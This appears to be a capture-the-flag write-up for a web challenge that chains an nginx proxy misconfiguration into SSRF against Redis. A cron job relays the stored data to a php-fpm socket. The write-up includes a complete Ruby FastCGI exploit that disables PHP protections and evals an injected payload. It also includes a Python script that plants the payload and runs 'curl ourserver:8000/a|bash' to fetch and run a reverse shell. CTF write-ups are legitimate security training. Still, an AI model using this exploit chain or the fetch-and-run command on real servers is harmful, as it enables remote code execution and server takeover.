Comme dans une chaussette - Web
Description
A company that proposes to sanitize inputs for you, does that tempt you? This is the beta version, and I heard that they log everything to train their AI model. Take control of the server to check if all this is true! Additional information: Sources: https://cdn.midnightflag.fr/comme_dans_une_chaussette.zip
You have all the files in the .zip provided to you (the flag file name as well as the webroot changes on the remote), there is no point in attacking the challenge directly if you don’t have a working payload locally.
To launch the challenge on your computer : unzip as_in_a_sock.zip && docker-compose up -d –build
Author: Worty http://chaussette.web.midnightflag.fr/
Basicaly this challenge is compose of three pieces:
- A nginx Webserver
- A php-fpm socket
- And a redis server with a crontab who get the data from redis and send it to the fpm socket.
Seems like we can bypass the nginx config and trigger ssrf (maybe):
in file /etc/nginx/sites-available/default.conf
location ~ /dev/(.*)/(.*) {
resolver 172.20.0.1;
proxy_pass http://$1$uri;
proxy_set_header Host $1;
}
Ressources :
- similar explotable nginx config https://github.com/tkmru/nginx-ssrf-sample
- https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html
Idea of explotation
With seen the possible SSRF in the nginx config and the redis_logger.py file who get executed by cron every minutes, we come out with a clear idea of how to exploit this challenge.
Dockerfile:
echo "* * * * * python3 /root/redis_logger.py '127.0.0.1'" > /var/spool/cron/crontabs/root
redis_logger.py:
import redis
import sys
import socket
host = sys.argv[1]
port = 6379
try:
r = redis.Redis(host=host, port=port, db=0)
except:
f = open("/root/redis_error","w")
f.write("[-] Unable to join redis instance\n")
f.close()
exit(-1)
for key in r.keys():
data = r.get(key)
#send the data to the php-fpm to send email
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/var/run/php-fpm.sock")
sock.sendall(data)
- Ssrf in order to talk to redis and register payload into the database
- The redis_logger.py file get executed by the cron job and send the data to php-fpm
- Code exection througt php-fm and receive our reverse shell
Rooted
Poc:
fpm_exploit.rb taken from https://cxsecurity.com/issue/WLB-2013010139
require 'socket'
require 'base64'
require 'cgi'
class FCGIRecord
class BeginRequest < FCGIRecord
def initialize( id)
@id = id
@type = 1
@data = "\x00\x01\x00\x00\x00\x00\x00\x00"
end
end
class Params < FCGIRecord
def initialize( id, params = {})
@id = id
@type = 4
@data = ""
params.each do |k,v|
@data << [ k.to_s.length, (1<<31) | v.to_s.length ].pack( "CN")
@data << k.to_s
@data << v.to_s
end
end
end
def initialize( id, type)
@id = id
@type = type
@data = ""
end
def to_s
packet = "\x01%c%c%c%c%c%c\x00" % [
type,
id / 256, id % 256,
data.length / 256, data.length % 256,
data.length % 8
]
packet << data
packet << "\x00" * (data.length % 8)
end
private
attr_reader :id, :type, :data
end
if ARGV.count < 3 or ARGV.count > 4
STDERR.write "Usage: #{$0} ( -u /path/to/socket | addr port ) [ /path/to/any/exists/file.php ] 'some php code to execute'\n"
exit 1
end
script = ARGV.count == 4 ? ARGV[2] : "/usr/share/php/PEAR.php"
command = Base64.encode64(ARGV.last.strip).strip.gsub( '=', '%3d').gsub( '/', '%2f')
packet = ""
packet << FCGIRecord::BeginRequest.new( 1).to_s
packet << FCGIRecord::Params.new( 1,
"SERVER_NAME" => "localhost",
"REQUEST_METHOD" => "GET",
"SCRIPT_FILENAME" => script,
"PHP_ADMIN_VALUE" => [
"allow_url_fopen=On",
"allow_url_include=On",
"disable_functions=Off",
"open_basedir=Off",
"display_errors=On",
"safe_mode=Off",
"short_open_tag=On",
"auto_prepend_file=data:,%3c%3f%20eval%28base64_decode%28%22#{command}%22%29%29%3f%3e"
].join( "\n")
).to_s
packet << FCGIRecord::Params.new( 1).to_s
packet << FCGIRecord.new( 1, 5).to_s
#print packet.split('').map{ |c| '\x%02x' % c[0].ord }.join
# fcgisock = ARGV[0] == '-u' ? UNIXSocket.new( ARGV[1]) : TCPSocket.new( ARGV[0], ARGV[1])
# fcgisock.write( packet)
puts CGI.escape(packet).sub! '%', '\\x'
exploit.py
#!/usr/bin/env python3
import urllib
import subprocess
import requests
def get_payload(command):
return subprocess.check_output(f'ruby fpm_exploit.rb -u "/var/run/php-fpm.sock" "/var/www/html/index.php" "{command}"', shell=True).decode().replace('\n','')
url = 'http://127.0.0.1/dev/127.0.0.1:6379/%0a%0dset%20"key"%20"command"%0a%0daaaa'
payload = get_payload("system('curl ourserver:8000/a|bash');")
payload_url = url.replace('command', payload)
requests.get(payload_url,proxies={'http':'http://127.0.0.1:8080'})
ggwp :D